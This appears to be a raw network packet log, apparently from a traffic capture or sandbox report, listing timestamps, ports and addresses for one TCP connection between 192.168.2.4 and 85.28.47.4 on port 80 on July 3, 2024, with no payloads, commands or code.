Jul 3, 2024 23:59:06.113130093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113153934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113176107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113229036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113240004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113248110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113261938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113274097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113291025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113383055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113429070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113527060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113537073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113578081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113590002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113670111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113679886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113687992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113698006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113707066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113727093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113750935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113842964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113889933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114000082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114010096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114017963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114026070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114034891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114049911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114067078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114146948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114156961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114165068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114173889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114185095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114204884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114468098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114479065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114512920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114533901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114629030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114639044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114646912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114655972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114665031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114674091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114676952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114682913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114691973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114692926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114703894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114713907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114717960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114726067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114744902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114764929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114770889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114780903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114789009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114798069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114805937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114809990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114835024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114854097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114924908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114936113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.114964962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.114976883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115556955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115566969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115575075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115582943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115592003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115602970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115632057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115706921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115717888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115726948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115746021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115765095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115889072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115900040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115907907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115916967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.115961075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.115978956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116051912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116061926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116070986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116080046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116087914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116096973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116103888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116106033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116116047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116125107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116127968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116134882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116143942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116153002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116161108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116167068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116170883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.116183043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116203070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.116228104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.202989101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203033924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203042984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203059912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203080893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203119040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203129053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203138113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203156948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203182936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203241110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203250885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203284979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203305960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203325987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203336000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203344107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203352928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203370094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203388929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203474045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203486919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203495979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203520060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203543901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203573942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203584909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203593969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203620911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203633070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203720093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203730106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203738928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203743935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203752995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203762054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203763962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203772068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203787088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203815937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.203983068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.203993082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204006910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204015017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204027891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204035997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204042912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204046011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204051018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204078913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204097033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204214096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204225063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204232931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204241037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204248905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204258919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204265118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204283953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204298973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204425097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204435110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204443932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204452038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204464912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204477072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204492092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204616070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204627037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204636097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204644918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204658031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204660892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204667091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204678059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204696894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204720020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204799891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204809904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204818964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204843998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204866886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204879999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204890013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204902887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204912901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204925060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204926968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204938889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204945087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204948902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.204967976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.204993963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205260038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205269098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205277920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205286980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205310106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205323935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205391884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205403090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205411911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205436945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205449104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205522060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205532074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205540895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205550909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205559015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205564022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205570936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205578089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205581903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205593109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205601931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205601931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205611944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205624104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205631018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205634117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205652952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205662966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.205925941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205936909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.205976009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206119061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206127882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206136942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206146002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206155062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206161022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206165075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206175089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206185102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206185102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206193924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206197023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206204891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206212044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206216097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206227064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206229925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206237078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206247091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206254959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206262112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206264973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206270933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206295967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206319094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206857920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206867933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206876993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206886053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206895113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206903934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206909895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206913948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206924915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206933022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206933975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206942081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206944942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206960917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206969023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.206969023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206980944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206990957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.206990004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.207001925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207011938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207015038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.207021952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207031965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207039118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.207047939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.207075119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.207457066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207468033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.207506895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297055006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297084093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297092915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297111988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297122002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297122002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297132969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297144890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297219992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297219992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297269106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297280073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297322035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297332048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297343016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297359943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297380924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297389984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297461033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297472954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297482967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297508001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297530890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297569990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297581911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297591925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297621012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297640085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297717094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297728062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297736883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297746897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297756910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297760010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297771931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.297787905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297796965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297844887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.297990084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298000097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298010111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298019886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298029900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298049927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298049927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298078060 CEST	49730	80	192.168.2.4	85.28.47.4
